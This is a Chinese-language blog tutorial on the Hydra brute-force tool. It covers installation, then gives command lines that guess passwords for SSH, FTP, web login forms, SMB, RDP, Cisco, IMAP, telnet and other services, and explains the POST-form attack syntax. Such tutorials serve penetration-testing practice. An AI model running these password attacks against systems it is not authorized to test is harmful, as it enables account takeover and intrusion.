hydra工具使用教程

  • Hydra介绍

        Hydra,也被称为“九头蛇”(根据希腊神话中的多头蛇怪物Hydra),是一款开源的渗透测试工具,专用于进行暴力破解和密码攻击。它支持多种协议和服务的破解,包括但不限于SSH、FTP、HTTP、HTTPS、HTTP-PROXY、LDAP、SMB、MSSQL、MYSQL、POSTGRES等。

  • Hydra安装

(一)Window环境

hydra-8.1-windows.zip解压后使用,通过cmd进入命令行,使用hydra -h查看是否安装成功

评论给你私发Windows版工具

(二)Linux环境

kali

1.在kali中打开终端,直接输入hydra,可以看到hydra的版本、参数、以及可以爆破的协议。

  • 实例

举个栗子 爆破SSH

用 -l 参数指定用户名,-p参数指定密码,后面直接跟目标的IP地址和协议。

hydra -l root -p 12345678 192.168.31.173 ssh

破解成功,直接显示结果。

其他类型密码破解

·1.破解ftp:

# hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV

# hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV

        get方式提交,破解web登录:

# hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/

# hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php

        post方式提交,破解web登录:

  该软件的强大之处就在于支持多种协议的破解,同样也支持对于web用户界面的登录破解,get方式提交的表单比较简单,这里通过post方式提交密码破解提供思路。该工具有一个不好的地方就是,如果目标网站登录时候需要验证码就无法破解了。带参数破解如下:

<form action="index.php" method="POST">

<input type="text" name="name" /><BR><br>

<input type="password" name="pwd" /><br><br>

<input type="submit" name="sub" value="提交">

</form>

  假设有以上一个密码登录表单,我们执行命令:

# hydra -l admin -P pass.lst -o ok.lst -t 1 -f 127.0.0.1 http-post-form “index.php:name=^USER^&pwd=^PASS^:<title>invalido</title>”

  说明:破解的用户名是admin,密码字典是pass.lst,破解结果保存在ok.lst,-t 是同时线程数为1,-f 是当破解了一个密码就停止,ip 是本地,就是目标ip,http-post-form表示破解是采用http 的post 方式提交的表单密码破解。

  后面参数是网页中对应的表单字段的name 属性,后面<title>中的内容是表示错误猜解的返回信息提示,可以自定义。

·2.破解https:

# hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https

·3.破解teamspeak:

# hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak

·4.破解cisco:

# hydra -P pass.txt 10.36.16.18 cisco

# hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable

·5.破解smb:

# hydra -l administrator -P pass.txt 10.36.16.18 smb

·6.破解pop3:

# hydra -l muts -P pass.txt my.pop3.mail pop3

·7.破解rdp:

# hydra ip rdp -l administrator -P pass.txt -V

·8.破解http-proxy:

# hydra -l admin -P pass.txt http-proxy://10.36.16.18

·9.破解imap:

# hydra -L user.txt -p secret 10.36.16.18 imap PLAIN

# hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN

·10.破解telnet

# hydra ip telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V

  • 34
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 6
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值